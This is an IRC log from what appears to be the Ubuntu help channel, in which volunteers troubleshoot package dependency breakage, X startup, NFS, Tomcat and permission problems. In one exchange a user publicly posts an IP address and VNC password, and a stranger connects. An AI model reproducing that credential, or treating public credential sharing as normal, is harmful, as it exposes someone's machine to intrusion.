[02:44] <m1r> how can i fix them ?
[02:44] <goban> whats a good program to do my taxes in? gnucash?
[02:44] <owh> m1r: Yes, I know that, but you did something to force that.
[02:45] <ahmed> owh: thanks for both of you
[02:45] <m1r> yes
[02:45] <ahmed> jrib : thanks for both of you
[02:45] <m1r> tryed instaled gconf2
[02:45] <ahmed> owh : another issue, when i ran the app, i got this : Fatal error: Smarty error: unable to write to $compile_dir '/home/ahmed/public_html/Smarty/demo/templates_c'. Be sure $compile_dir is writable by the web server user. in /home/ahmed/public_html/Smarty/libs/Smarty.class.php on line 1095
[02:45] <owh> ahmed: Pleasure.
[02:45] <m1r> and  libgconf2-4
[02:45] <m1r> that made mess
[02:45] <babo> jrib: now, if I could only get my microphone to work ....
[02:45] <babo> !
[02:46] <m1r> then i tryed fix in synaptic
[02:46] <jrib> babo: me too :)
[02:46] <m1r> and mess started poping
[02:46] <babo> jrib: laptop ?
[02:46] <owh> ahmed: You will need to change the ownership of that directory to ahmed:www-data and give the group write permission.
[02:46] <mattman218> owh, haha, both of those searches returned nothing.... ahhhh
[02:46] <Auron0> Shootfast: I went through the setup again, did /ect/init.d/gdm stop, then ctrl+alt+f7, and got a blank screen
[02:46] <jrib> babo: check levels in alsamixer, no I'm on a desktop.  My laptop mic actually worked fine once I made sure it wasn't muted in alsamixer
[02:46] <owh> mattman218: Is it called what you think it is?
[02:46] <ahmed> owh: how :(
[02:46] <Shootfast> Auron0: click ctrl-altf1 again
[02:47] <Acu> Two computers - want to share files trough NFS - got installed nfs-kernel nfs-common kdefilesharing - service started - still I cannot see the other computer if I go to Conqueror and type nfs://192.168.0.5   it tells me that is authorization failed - can anyone help
[02:47] <owh> ahmed: Browse to the directory, right click on it, select properties, follow your nose :)
[02:47] <Auron0> Shootfast: Ok at the console again.
[02:47] <owh> m1r: So, what commands/actions did you take after the commands on the website?
[02:47] <mattman218> I don't see why it wouldn't be called k9copy, do you? it's not in the changelog that the executable changed
[02:47] <babo> jrib: yeah, I've been through the alsamixer numerous times ... I'm just keeping my fingers crossed for feisty fawn + kernel upgrade ...
[02:47] <m1r> apt.get update
[02:47] <owh> m1r: I cannot help, unless you are specific.
[02:47] <m1r> and upgrade
[02:47] <babo> is anyone else here on a HP Pavillion dv6000 by any chance ?
[02:48] <m1r> then tryed install all it showed me
[02:48] <owh> m1r: Hmm, with the ebox sources in the sources.list.
[02:48] <m1r> yes
[02:48] <owh> m1r: So, the upgrade happened, or did it not?
[02:48] <ahmed> owh: i was stupid, i was giving the file access permission, not folder
[02:48] <ahmed> owh : now it is fine
[02:48] <m1r> owh: but i put ones from their site
[02:48] <ahmed> owh : thanks a lot
[02:49] <darksoule> ok, I think Im here for a while...
[02:49] <Auron0> Shootfast: What do I do now that I am back at the console.
[02:49] <Shootfast> Auron0: So sudo gdm says gdm already running?
[02:49] <Auron0> yeah
[02:49] <Auron0> even after doing /ect/...
[02:49] <owh> m1r: Ok, let me see if I can explain what you did. You added a source to the sources.list, you started an install for debian with whatever version of stuff was in their repository. It failed, You did an apt-get update && apt-get upgrade, now it's borked?
[02:49] <Auron0> could it not like the fact that I am running SLI video cards?
[02:49] <robjo> acu: you need to export the directories you want to share via NFS, follow the nfs howto http://nfs.sourceforge.net/
[02:50] <eshaase> when i do 'sudo apt-get -s install g++' i get: g++: Depends: g++-3.3 (>= 1:3.3.5-1) but it is not going to be installed\n Depends: gcc-3.3 (>= 1:3.3.5-1) but it is not going to be installed.. any ideas?
[02:50] <eshaase> it seems i have g++-2.95 installed and i'm guessing thats causing problems
[02:50] <Agiofws> hey anyone know in ubutnu where the ip_contrack file is ? ?
[02:50] <Agiofws> in ubuntu server ?
[02:50] <Shootfast> Auron0: hmm... I doubt it, the problem is that your on a live cd, so therefore any changes we make cant be saved. usually its easier to reboot and have X use the new settings, but i'm not sure how to kill x withough gnome
[02:50] <jrib> eshaase: what version of ubuntu?
[02:50] <owh> Agiofws: locate -i ip_contrack
[02:50] <sgtmattbaker> can someone please help me w/ a Windows issue.. ##windows doesn't ever help with ANYTHING.. here is my pastebin: http://paste.ubuntu-nl.org/16187/
[02:51] <Agiofws> owh,  no such file
[02:51] <Shootfast> Auron0: hang on, im looking it iup
[02:51] <eshaase> jrib: feisty fawn
[02:51] <m1r> owh ; http://www.ebox-platform.com/installation-guide . i think i made mess here
[02:51] <jrib> eshaase: pastebin your /etc/apt/sources.list
[02:51] <darksoule> My ubuntu computer is not hooked up to the internet so I have to download everything on another computer. How do I know which packages are on the DVD and which ones I need to download (when looking for dependancies) rather than running back and forth for one download at a time?
[02:51] <Auron0> Shootfast: ...so what should I do then :/
[02:51] <Auron0> Shootfast: Oh ok, go look.
[02:52] <WinNix> darksoule: I'd just hook it up to the internet for simplicity. I haven't any idea other than that.
[02:52] <eshaase> jrib: ok
[02:52] <owh> m1r: Ok, you are attempting to run several versions of software, that is never going to work.
[02:52] <m1r> ok
[02:52] <owh> m1r: First, remove the ebox lines from the sources.list, all of them.
[02:52] <m1r> ok sec
[02:52] <owh> m1r: Then run apt-get update.
[02:52] <Shootfast> Auron0: ok ive got it!
[02:52] <Auron0> Sweet
[02:53] <mattman218> n00bie, any progress?
[02:53] <Shootfast> Auron0: type in sudo ps waux
[02:53] <Auron0> Ok I am going to do that now
[02:53] <Beta-guy> will Ubuntu 7.04 support the PS3 from scratch?
[02:53] <owh> Agiofws: Google tells me that it should be in /proc/net/
[02:53] <dac> ubuntu on this box, Can I just install kubuntu on it as well?
[02:53] <owh> Agiofws: Did you load the module?
[02:53] <Shootfast> and look for something named x-session-manager
[02:53] <m1r> owh , done
[02:53] <eshaase> jrib: actually, just realized its a debian, system, can you still help me?
[02:53] <iamalex> hi everyon
[02:53] <owh> m1r: Both?
[02:53] <mattman218> dac, yes
[02:54] <Agiofws> do you ahve to load a module for that ?
[02:54] <mattman218> it's pretty eassy
[02:54] <owh> m1r: That is, you did an apt-get update as well?
[02:54] <iamalex> Is there anyone here who can give me a hand setting up LVM?
[02:54] <m1r> yes
[02:54] <Auron0> Shootfast: Ok and what do I do when I find it
[02:54] <m1r> just update
[02:54] <dac> Thank you very much.
[02:54] <Shootfast> Auron0: ok, just type sudo killall KILL x-session-manager
[02:54] <m1r> sources list clear
[02:54] <owh> m1r: What does apt-get dist-upgrade show?
[02:54] <mattman218> dac, would you like me to give you a link?
[02:54] <m1r> sec
[02:54] <Shootfast> Auron0: (with those capitals)
[02:54] <owh> m1r: Don't start it, just tell me.
[02:54] <n00bie> mattman218, not yet
[02:54] <Auron0> ok
[02:54] <jrib> eshaase: I'm not too sure I can, #debian is probably your best bet
[02:54] <dac> yes
[02:54] <owh> m1r: So, don't hit "y".
[02:54] <knix_> How do I find this? "What is the location of the directory of C header files that match your running
[02:55] <knix_> kernel? "
[02:55] <mattman218> n00bie, let me know if you do
[02:55] <Auron0> Shootfast: Ok trying that now
[02:55] <iamalex> I'm trying to set up LVM but am stuck
[02:55] <xyz-abc> Help: WPA doesn't work!
[02:55] <m1r> owh ; unmet dependencies:
[02:55] <m1r>   libgconf2-4: Depends: gconf2 (>= 1:2.8.1-1warp) but 2.16.0-0ubuntu1
[02:55] <n00bie> mattman218, ok
[02:55] <eshaase> jrib: ok
[02:55] <iamalex> I can't find any documentation that fits my situation
[02:55] <n00bie> mattman218, still downloading the files and deps
[02:55] <darksoule> Ubuntu comes with gnome. What is the easiest way to install KDE?
[02:55] <WinNix> Is there a quick way to convert a debian machine to ubuntu?
[02:55] <sgtmattbaker> sgtmattbaker: can someone please help me w/ a Windows issue..  here is my pastebin: http://paste.ubuntu-nl.org/16187/
[02:55] <gene6482> hey, weird question, ever since i changed my dsdt to get my sound working, my battery status doesn't show in the notification bar, but acpi is working, any ideas?
[02:56] <owh> Can anyone confirm that you could run a command like: apt-get remove blah install blahblah
[02:56] <PureRumble> I'm setting up a tomcat server. Can someone try this link and see if it works? Thx. http://81.170.138.232:46062
[02:56] <WinNix> Is there a quick way to convert a debian machine to ubuntu? I know ubuntu is built off of debian but they seem quite different in the end. So is there a relatively easy way to convert debian -> ubuntu 6.10?
[02:56] <owh> Or will that try to remove three packages?
[02:56] <Shootfast> owh: as in remove and install something at the same time?
[02:56] <m1r> i will try, sec
[02:56] <owh> Shootfast: Yup.
[02:57] <owh> m1r: DON'T!
[02:57] <mattman218> dac, here ya go... http://www.psychocats.net/ubuntu/kde
[02:57] <EADG> owh use && between commands
[02:57] <Auron0> Shootfast: I did that, heard like a double-conga hit sound, but I still have no GUI
[02:57] <Shootfast> cant you just remove fist then install afterwards?
[02:57] <m1r> says try: apt-get -f install
[02:57] <owh> EADG: Except that it won't be one action, all hell will break loose.
[02:57] <m1r> then offers delete all 150 packages
[02:57] <Shootfast> Auron0: ok, well that means that your choices in the sudo dpkg-reconfigure xserver-xorg wernt right...
[02:57] <PureRumble> Can someone help me and see if my Tomcat-server is running? The link is http://81.170.138.232:46062. thx
[02:58] <jrib> owh: you can do apt-get install foo -bar     and it should install foo and remove bar iirc
[02:58] <owh> m1r: Don't be so happy to type stuff. That's what got you into trouble.
[02:58] <Shootfast> Auron0: try using the vesa driver and choose a nice safe resolution like 800x600
[02:58] <m1r> ye :/
[02:58] <EADG> owh: apt-get install blah && apt-get remove foo
[02:58] <iamalex> :( no one who can help lvm man?
[02:58] <darksoule> What is the easiest way to install KDE to Ubuntu without getting Kubuntu?
[02:58] <Auron0> Shootfast: Ok, then do I need to do the KILL command again when i get done?
[02:58] <owh> EADG, thanks, but no cigar :)
[02:58] <m1r> sry
[02:58] <dac> thank you
[02:59] <mattman218> dac, no problem
[02:59] <Shootfast> owh, why cant you do two commands?
[02:59] <Shootfast> Auron0: yes
[02:59] <WinNix> Is there a quick way to convert a debian machine to ubuntu? I know ubuntu is built off of debian but they seem quite different in the end. So is there a relatively easy way to convert debian -> ubuntu 6.10?
[02:59] <Auron0> OK, going to try
[02:59] <owh> Shootfast: Because the whole world depends on them, so if you remove a base dependency, then all hell breaks loose.
[02:59] <n00bie> mattman218, still doesn't work
[02:59] <Shootfast> Auron0: and then make sure your in terminal 6,7 or 8 (ctrl-alt-f6/7/8)
[03:00] <Adsims2001> I'm experiencing some really weird crashes.
[03:00] <jrib> owh: oops wrong side, it's:  foo bar-   instead of  foo -bar
[03:00] <Shootfast> owh: what are you trying to remove?/
[03:00] <HessiaNerd> darksoule:  sudo apt-get install kde-desktop, I believe
[03:00] <PureRumble> The reason why I ask is because I dont think it will work If I try to connect to it from the SAME computer. Son can someone just help me here? Or maybe you're afraid it's a "no-good" link? :-/
[03:00] <PureRumble> *So
[03:00] <owh> jrib: Excellent, tah. I couldn't find it in the manual.
[03:00] <Adsims2001> If your computer crashes and you restart is there some sort of log that you can look at to see what went wrong?
[03:00] <jrib> owh: I cheated, http://people.debian.org/~dburrows/aptitude-doc/en/rn01re01.html
[03:00] <Adsims2001> i'm on edgy
[03:00] <mattman218> n00bie, dang, I have no idea, i'm sorry
[03:00] <xerebz> i <3 u guys ;(
[03:00] <Shootfast> Adsims2001: /var/log
[03:01] <smbambling_> Hi everyone...has anyone had success with Cisco VPN client on Festy ?
[03:01] <HessiaNerd> I have a kinda stupid question... Im trying to install GCALDeamon and I get to this line:
[03:01] <HessiaNerd> chgrp -R groupname /usr/local/sbin/GCALDaemon
[03:01] <snowpunk98> I am trying to install Drupal and am getting the following message "Your web server does not appear to support any common database types. Check with your hosting provider to see if they offer any databases that Drupal supports." can anyone help me resolve the problem? Running Apache, MySQL, Drupal 5.1 on Ubuntu server
[03:01] <gene6482> hey, weird question, ever since i changed my dsdt to get my sound working, my battery status doesn't show in the notification bar, but acpi is working, any ideas?
[03:02] <HessiaNerd> should groupname be my user group name? or should I make a new group, or what?
[03:02] <mattman218> ok, i've installed, and installed this k9copy program from a tar.gz, and terminal still says that it isn't installed
[03:02] <PureRumble> http://81.170.138.232:46062 Just want to see if the thing is running. You can check my ip, it is my computer. Son can you just click and see if you get the tomcat-startup screen? please?
[03:02] <mattman218> i need some help
[03:02] <PureRumble> *So
[03:02] <freez> i cant write to a ntfs partition how can i edit this in fstab to make it partition writeable ?
[03:03] <owh> Shootfast: m1r has done an apt-get upgrade with a debian repository and borked the Ubuntu install :-(
[03:03] <iamalex> nm guys i figured it out
[03:03] <jrib> PureRumble: it's timing out here
[03:03] <PureRumble> I am running the thing on Ubuntu, if that's the problem.... http://81.170.138.232:46062
[03:03] <PureRumble> ok
[03:03] <m1r> owh ; repairable?
[03:03] <Auron0> Shootfast: I did everything again, I got the conga sound and a start-up sound this time, but I still have no GUI
[03:03] <PureRumble> finally, thanks.
[03:03] <Flannel> snowpunk98: Don't you need php?
[03:03] <owh> m1r: Working on it, not sure.
[03:03] <m1r> kk i appriciate very much
[03:03] <Adsims2001> does any of the stuff in /var/log matter? As in, can I delete/move/rename it and be fine? I want to clear all the logs, then use my computer normally until it crashes, then look in /var/log again to see if there is any useful information...
[03:04] <chili555> PureRumble negative here too
[03:04] <Shootfast> Auron0: :S ???
[03:04] <m1r> this was hard touch :/
[03:04] <javajoe> I was wondering about the support for Nvidia Gefoce FX 5200 in Feisty.
[03:04] <owh> m1r: What does apt-get dist-upgrade show, don't complete it, so don't type "y".
[03:04] <smbambling_> Hey guys i'm having some issues getting any connection with kvpn and Cisco VPN client from Festy
[03:04] <PureRumble> If I'm firing up a tomcat-server and If I have opened the ports on my router, do I have to do something more in Ubuntu?
[03:04] <m1r> k sec
[03:04] <Auron0> Shootfast: Is that a "I have no idea what your talking about :S" or a "I don't know what to do now :S"
[03:04] <freez> can anyone provide an example (line) of a writeable mounted ntfs partition ?
[03:04] <snowpunk98> Flannel,  yes I do
[03:04] <smbambling_> Has anyonehad a similar issue
[03:04] <javajoe> I tried to upgrade over the weekend and it killed my system.
[03:04] <WinNix> Is there a quick way to convert a debian machine to ubuntu? I know ubuntu is built off of debian but they seem quite different in the end. So is there a relatively easy way to convert debian -> ubuntu 6.10?
[03:04] <Shootfast> Auron0: so youve tried all ctrl-alt-fx buttons?
[03:04] <m1r> unmet dependencies:
[03:04] <m1r>   libgconf2-4: Depends: gconf2 (>= 1:2.8.1-1warp) but 2.16.0-0ubuntu1 is installed
[03:04] <m1r> E: Unmet dependencies. Try using -f
[03:04] <mjr> WinNix, no
[03:05] <Shootfast> Auron0: thats a I dont really know what the hell is wrong
[03:05] <Auron0> Shootfast: Hmm no, only 1,7 and 8
[03:05] <Auron0> I will go try them all
[03:05] <srjames> Has anyone had any trouble installing mysql?
[03:05] <javajoe> had to reformat with a fresh edgy install
[03:05] <PureRumble> Do I have to open ports in ubuntu if I want to use tomcat?
[03:05] <Shootfast> Auron0: the VESA driver is bullet proof
[03:05] <owh> WinNix: ***THEORETICALLY*** you should be able to change the sources.list, apt-get update && apt-get dist-upgrade, but I've never tried it.
[03:05] <Adsims2001> would it be harmful to delete the contents of /var/log?
[03:05] <srjames> After installing mysql-server, and setting my password, i can't connect to mysql when i give it localhost
[03:05] <owh> Adsims2001: Other than loosing your logs, not really AFAIK.
[03:05] <Adsims2001> I'll tar them and see what happens
[03:06] <Adsims2001> thanks
[03:06] <CountDown> I just had a paranormal experience with my bash terminal.
[03:06] <owh> Adsims2001: Any reason you're doing this?
[03:06] <Kuprin> hey Ubuntu people - madwifi is causing ubuntu to lock up, and I need wireless networking to actually WORK for a change. Anyone have this problem?
[03:06] <Shootfast> CountDown: what happen?
[03:06] <WinNix> freez: it should be something like "mount -tntfs /dev/sda1 /mnt/ntfs"
[03:06] <Adsims2001> I'm having some weird crashes, and I want to clear my logs, wait for a crash and then see if i can look at the logs to find out what is causing the crash
[03:06] <owh> jrib: That syntax was for aptitude, that's even cheating more :)
[03:07] <cactusbin> if anybody could futher help my in my wireless 'adventure' it would be appreciated
[03:07] <owh> Adsims2001: You could just touch them all.
[03:07] <cactusbin> thread = http://ubuntuforums.org/showthread.php?t=412027
[03:07] <Flannel> Adsims2001: the logs should be timestamped
[03:07] <owh> Flannel: Adsims2001 -- that too :)
[03:07] <Auron0> Shootfast: I used vesa on this go around.
[03:07] <Adsims2001> Eh, I know how to use tar and i'm not familiar with much else in the shell
[03:07] <Adsims2001> so i'll just do that...
[03:07] <Intangir> how do i downgrade to an older version of an ubuntu package?
[03:07] <javajoe> So does anyone know how the graphics support on Feisty is progressing?
[03:07] <darksoule> ok, I may lose the connection so, Im going to pre-emptively leave... see you later... thanks for help
[03:07] <CountDown> I was in a directory manually deleting files using rm, I changed into a subdirectory, listed what was in the directory, changed back into the directory I was in, listed what was in that directory, and suddenly all the files I'd just deleted were there again, even though I'd definitely seen a directory listing where they were all gone.
[03:07] <Intangir> also how do i make it list the ubuntu packages that are avaialble
[03:07] <Auron0> Shootfast: I did a sudo killall KILL gdm and that seemed to of ended gdm
[03:07] <Intangir> the versions of the package available
[03:08] <Auron0> Shootfast: then sudo gdm, and it restarted gnome, but with no picture still
[03:08] <xtknight> does ubuntu have the JACK audio plugin?  in repos or enabled by default ? any guides on using it?
[03:08] <Intangir> how do i downgrade to an older version of an ubuntu package?
[03:08] <owh> CountDown: Well, likely there were symlinks involved and you deleted something you didn't expect :-|
[03:08] <jrib> Intangir: apt-cache policy PACKAGE   to list
[03:08] <Shootfast> Auron0: this is most odd.... only other solutions I have are to download either the alternate cd and do a text install, or maybe your current cd is dodgy
[03:09] <CountDown> owh: None of the files were symlinks as far as I know.
[03:09] <dsl925> hmm.
[03:09] <owh> CountDown: The magic in that phrase is "as far as I know"
[03:09] <jrib> Intangir: sudo aptitude install PACKAGE=VERSION   installs version VERSION of PACKAGE
[03:09] <xtknight> Intangir, a) you generally can't; some old packages are stored in /var/cache/apt/arcihves/; b) you should file a bug if you have a problem with a new package; c) you can use the command "sudo apt-get install pkgname=<versionname>" to install a particular version if it is in anywhere available in the reopsitories
[03:09] <Shootfast> Auron0: can you burn the iso again at a nice slow 4x?
[03:09] <instabin> whats the channel for 7.04
[03:09] <xtknight> !feisty
[03:09] <ubotu> The next version of Ubuntu (7.04; codenamed "Feisty Fawn") should be released in April 2007. Beta is out! http://www.ubuntu.com/news/Ubuntu704Beta Schedule: !schedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help and support in #ubuntu+1 (NOT #ubuntu)
[03:09] <CountDown> owh: That's why I included it.  :)
[03:09] <Auron0> Shootfast: yes i can, considering i did it at 48x last go around :S
[03:09] <owh> m1r: What is happening?
[03:10] <Shootfast> Auron0: yeah, fast usually = bad with operating systesn
[03:10] <CountDown> owh: All this was taking place in CVS directory, but I don't think CVS uses simlinks does it?
[03:10] <Auron0> Shootfast: And a text install sounds *puke* to me
[03:10] <Shootfast> *systems
[03:10] <javajoe> I just read that they are releasing it tomorrow
[03:10] <|Jason8|> I just transferred my hard drives into a new case (mobo, cpu, etc) and now when I boot, I get a "Read Error" from grub.  Anyone have any ideas what's going on?
[03:10] <onexused> Are there any good OpenGL-compatible graphics cards besides ones made by nVidia and ATI?  I'm getting tired of the problems I have with those
[03:10] <Shootfast> Auron0: yeah, and if your graphics still wont work, thatd be all you were stuck with :S
[03:10] <m1r> owh, i cant remove any of those
[03:10] <|Jason8|> onexused, they're the most popular, so chances are, they're the best supported.
[03:11] <m1r> unmet dependencies , try -f
[03:11] <Auron0> Shootfast: Great alright, well I will try the slow burn. A friend of mine got ubuntu installed so I will ask him what he did
[03:11] <owh> |Jason8|: Your device name has likely changed.
[03:11] <Shootfast> okies
[03:11] <owh> m1r: Which dependencies?
[03:11] <gene6482> hey, weird question, ever since i changed my dsdt to get my sound working, my battery status doesn't show in the notification bar, but acpi is working, any ideas?
[03:11] <Auron0> I hope the problems are worth it
[03:11] <javajoe> Jason8> mabey you HDs are plugged in with slave first and master second>?
[03:11] <Auron0> I got so fustrated trying to get wireless working in SuSE
[03:11] <|Jason8|> owh, okay, how can i fix it?
[03:11] <m1r> owh ; this ones : libgconf2-4: Depends: gconf2 (>= 1:2.8.1-1warp) but 2.16.0-0ubuntu1 is installed
[03:11] <phr0z3n> Auron0, may, or may not.
[03:11] <phr0z3n> Depends on what ya want ;-P
[03:12] <Shootfast> Auron0: You can always wait 2 days and get the latest feisty release, which takes out nearly all the headaches
[03:12] <|Jason8|> javajoe, kay, I'll try switching that.
[03:12] <Auron0> Yeah thats true
[03:12] <Auron0> oh well, its not like I am out an OS, always got windows
[03:12] <phr0z3n> and drivers.
[03:12] <Shootfast> unlike my other computer, where neither will currently install :S
[03:12] <onexused> |Jason8| Yah, I suppose so.  Do you happen to know of any others that are good anyhow?
[03:12] <smo> hi i have a small problem whe i try to laucnh an icon from the admin panel in gnome it say i have not right to do that i search all created groups and it seems i do not have admin group is it normal?
[03:12] <phr0z3n> and.... oh...... 5 hours to update
[03:12] <Adsims2001> would abiword 'conflict' with openoffice-writer?
[03:12] <Auron0> lol
[03:12] <Auron0> well alright thanks
[03:12] <javajoe> Jason8> Open you case and try switching the connections around and do a reboot
[03:13] <phr0z3n> reboot? in linux?
[03:13] <phr0z3n> :-/
[03:13] <Shootfast> Auron0: sorry i couldnt help more
[03:13] <jrib> Adsims2001: it shouldn't
[03:13] <|Jason8|> javajoe, working on it :)
[03:13] <Auron0> its alright
[03:13] <Auron0> thanks again
[03:13] <Adsims2001> well add/remove isn't letting me install openoffice-writer because of a conflict. i'll try synaptic
[03:13] <Jordan_U> smo, You need to have the admin group to use administrative programs
[03:13] <javajoe> Adsims2001> No you can run Abiword and OOo together.
[03:13] <smo> what s the gid?
[03:13] <smo> to add it
[03:14] <smo> cat /etc/group | grep admin
[03:14] <smo> lpadmin:x:109:
[03:14] <smo>  only for me
[03:14] <owh> m1r: What happens when you try to do this: apt-get -d install libgconf2-4
[03:14] <chili555> cactusbin u still here?
[03:14] <Shootfast> anyone know anything about installing Yaird, as ubuntu wont install a correct initrd image :S
[03:14] <smo> won t install ?
[03:14] <smo> strange
[03:14] <owh> Shootfast: Is your /boot partition full?
[03:14] <smo> very strange
[03:14] <Shootfast> 230gb free
[03:15] <Shootfast> lots of other with my mobo are having the same problem
[03:15] <smo> wich kernel?
[03:16] <Shootfast> all of them, from feisty's default down to edgy
[03:16] <m1r> owh it gives a list of apt options
[03:16] <Shootfast> and down to dapper
[03:16] <smo> damn
[03:16] <m1r> oh wait
[03:16] <m1r> sry
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[03:16] <gortba> Does anyone know how to change the default movie player from totem to mplayer
[03:16] <smo> can t u show me return of      cat /etc/group | grep admin             for you
[03:16] <smo> ??
[03:17] <m1r> owh , same  unmet dependencies
[03:17] <Adsims2001> default programs are usually handled by your filemananger right?
[03:17] <Adsims2001> if you're on gnome it should be somewhere in nautilus
[03:17] <bruenig> Adsims2001, no
[03:17] <Taime1> will someone test my remote conection for me?
[03:18] <owh> jrib: Any idea on how to force a download of a package and it's dependencies without installing them?
[03:18] <bruenig> gortba, right click on a file, then go to preferences, and change the open with. From now on any files of that type will automatically open in mplayer
[03:18] <lakcaj> Taime1, sure, just give me you IP and root password and I'll see if it's working ok.
[03:18] <owh> ROTFL
[03:18] <jrib> owh: well apt-cache depends will give you a list of dependencies
[03:18] <Jordan_U> owh, --download-only
[03:19] <Taime1> i wouldnt care if someon e had my root password
[03:19] <Taime1> whats the big deal, im not retarded, i dont use my credit card online, and my emails are g rated....
[03:19] <owh> Jordan_U: Yeah, except you need to specify install, so it fails.
[03:19] <gortba> bruenig: Thanks!
[03:19] <Flannel> Taime1: what you just said is "I don't care if someone makes my machine explode"
[03:19] <Taime1> i really dont
[03:19] <Taime1> its linux
[03:19] <phr0z3n> ..
[03:19] <lakcaj> Taime1, what do you need?
[03:19] <Taime1> pop in a cd, 15 minutes later, i have an OC
[03:19] <freez> i got a problem my dapper cant detect my networkcard (nvidia nforce networking controller) here is the dmesg log : http://pastebin.ca/445698 and here is my lspci : http://pastebin.ca/445700 please help fix this problem i got ubuntu a month ago and cant access the internet with it
[03:19] <Taime1> OS*
[03:20] <lakcaj> Taime1, do you want somebody to try to ssh into your box?
[03:20] <Jordan_U> Taime1, And untill then you are helping some script kiddy send me spam
[03:20] <owh> m1r: Hmm, seems aptitude will do this, try cd /tmp ; sudo aptitude download libgconf2-4
[03:20] <Taime1> no
[03:20] <Taime1> vnc
[03:20] <m1r> kk
[03:20] <Taime1> 24.249.61.128   password is possward
[03:20] <Taime1> i just need to know if it works
[03:21] <snowpunk98> I need to make a file not writable how should I chmod it?
[03:21] <Flannel> snowpunk98: What sort of file is it? and where? and unwritable by whom?
[03:21] <m1r> owh ; No downloadable files for libgconf2-4 version 1:2.8.1-1warp; perhaps it is a local or obsolete package?
[03:22] <Taime1> anyone...really
[03:22] <owh> One mo, phone
[03:22] <freez> i got a problem my dapper cant detect my networkcard (nvidia nforce networking controller) here is the dmesg log : http://pastebin.ca/445698 and here is my lspci : http://pastebin.ca/445700 anyone can help PLEASE ?
[03:22] <Shootfast> so no-one knows about yaird?
[03:22] <lakcaj> Taime1, I'm just installing a vnc client and I'll test it for you
[03:22] <EADG> Taime1: Not for me
[03:23] <Taime1> thanks lakcaj
[03:23] <snowpunk98> Flannel, its a config file for Drupal
[03:23] <bruenig> snowpunk98, sudo chmod -w file
[03:23] <EADG> Taime1: Sorry... my bad.
[03:23] <snowpunk98> I dont think anyone should write to it except my root user
[03:23] <freez> i got a problem my dapper cant detect my networkcard (nvidia nforce networking controller) here is the dmesg log : http://pastebin.ca/445698 and here is my lspci : http://pastebin.ca/445700 anyone can help PLEASE ?
[03:24] <Auron0> Shootfast: I think i know what was wrong
[03:24] <Auron0> Shootfast: I had the i386 distro, when I should of had the amd64 distro
[03:24] <LonerVamp> Is there any remote desktops that I can install on Ubuntu (as a server) besides VNC or XDMCP? I don't want VNC because I want to be able to remote in even if it is not logged in locally, and not XDMCP because I don't want to log out of my client system fully. :\
[03:24] <bruenig> Auron0, you can run i386 on 64 bit processor fine
[03:24] <snowpunk98> sudo chmod -w file is correct?
[03:25] <bruenig> in fact, it is probably better to do so
[03:25] <yell0w> LonerVamp, search for vnc, there's several
[03:25] <bruenig> snowpunk98, yeah, if it is owned by root, you could also just do "sudo chmod go-w file"
[03:25] <patrick_> hi guys I just fresh installed ubuntu edgy amd64 and I want to perform an upgrade to feisty.... how must this be done
[03:25] <PureRumble> Do I have to open some ports in Ubuntu if I want to start a server-program (say Tomcat)?
[03:25] <Jump86> whats the default shortcut to open a terminal?
[03:26] <LonerVamp> yell0w, but will other VNCs still run even if the server is locally logged off?
[03:26] <bruenig> Jump86, you have to set one in system>preferences>keyboard shortcuts
[03:26] <Shootfast> Auron0: It shouldnt matter
[03:26] <Auron0> well darn
[03:26] <owh> m1r: Sigh, that's because aptitude is trying to download the version from ebox, ok, manual time. Lemmie look up the URL for you.
[03:26] <Shootfast> Auron0: 64 bit processors will run 32 bit code
[03:26] <yell0w> LonerVamp, some do
[03:26] <Auron0> well at anyrate
[03:26] <Shootfast> Auron0: and if you were getting that far, there wasnt a problem :P
[03:26] <Auron0> the slowest nero will burn is 8x
[03:26] <owh> m1r: Which version are you running again?
[03:26] <Jump86> bruenig, tried that but doesnt work w/ beryl... the beryl stuff overwrites it
[03:26] <Shootfast> Auron0: thats ok
[03:26] <yell0w> LonerVamp, tightvnc or vnc4u, don't remember which
[03:26] <bruenig> Jump86, #ubuntu-effects
[03:26] <Auron0> Alright well i am trying that now
[03:26] <Taime1> lakcaj: , you can log back in
[03:27] <Shootfast> Auron0: anyways, for now 32 bit will save you some hassles later
[03:27] <freez> bruenig : my network adpater is not detected by the system thats the lspci output : http://pastebin.ca/445700 can you help me fix this please ?
[03:27] <bruenig> freez, no, and you should ask the channel really
[03:27] <lakcaj> Taime1, yes - it's working.  Nice desktop btw
[03:27] <patrick_> guys I just fresh installed ubuntu edgy amd64 and I want to perform an upgrade to feisty.... how do I do that
[03:27] <freez> thats what im doing all the time 1 month ago
[03:28] <Taime1> i was going to sho you beryl... but it didnt load for some reason
[03:28] <Auron0> Alright, well if this doesn't work I am stuck xD
[03:28] <snowpunk98> so what does r--rw--rw mean
[03:28] <bruenig> snoukkis, it means that everyone but the owner can write to it
[03:28] <bruenig> snowpunk98, ^
[03:28] <lakcaj> Taime1, it's slow as snail sh*t here anyway, so I probably wouldn't get the full effect
[03:28] <patrick_> #ubuntu+1
[03:29] <owh> m1r: Which version of Ubuntu are you running?
[03:29] <m1r> 6.10
[03:29] <blackest> how do i make a perminant entry in fstab for a remote folder
[03:29] <Crazytom> blackest, sudo nano /etc/fstab
[03:30] <EdsipeR> is there any changes between 7.04-server beta and 7.04-server official ?
[03:30] <bruenig> EdsipeR, #ubuntu+1
[03:30] <owh> m1r: Visit this page: http://packages.ubuntu.com/edgy/libs/libgconf2-4
[03:30] <Crazytom> blackest, is it a windows folder?
[03:30] <blackest> :) ok but what do i put if i give you the mount command
[03:30] <owh> m1r: Download the appropriate architecture of that file.
[03:30] <bruenig> blackest, give the mount command, and I or someone else can probably translate it into what you need for fstab
[03:30] <blackest> 192.168.2.5:/media/hdc1/mediashare /mnt/mp3
[03:31] <blackest> its ubuntu
[03:31] <bruenig> blackest, never before dealt with remote folders, I am not sure what you would do for the filesystem part
[03:31] <Crazytom> blackest, check this out https://wiki.ubuntu.com/MountWindowsSharesPermanently
[03:31] <blackest> its not a windows share
[03:31] <Crazytom> ok
[03:32] <bruenig> blackest, do you know what you would put for filesystem?
[03:32] <blackest> nfs
[03:32] <Crazytom> blackest, should only be a couple of differences
[03:32] <frank227a> Hello
[03:32] <Crazytom> blackest, ext3?
[03:32] <freez> i really do wonder why no one is providing any help and i guess im in a help channel !!
[03:32] <bruenig> !patience | freez
[03:32] <ubotu> freez: The people here are volunteers, your attitude may determine how fast you are helped.  Not everyone is available all the time, likewise not every answer is available instantly. See also http://wiki.ubuntu.com/IrcGuidelines
[03:33] <frank227a> Is there a program that will give me the information on my hardware setup?
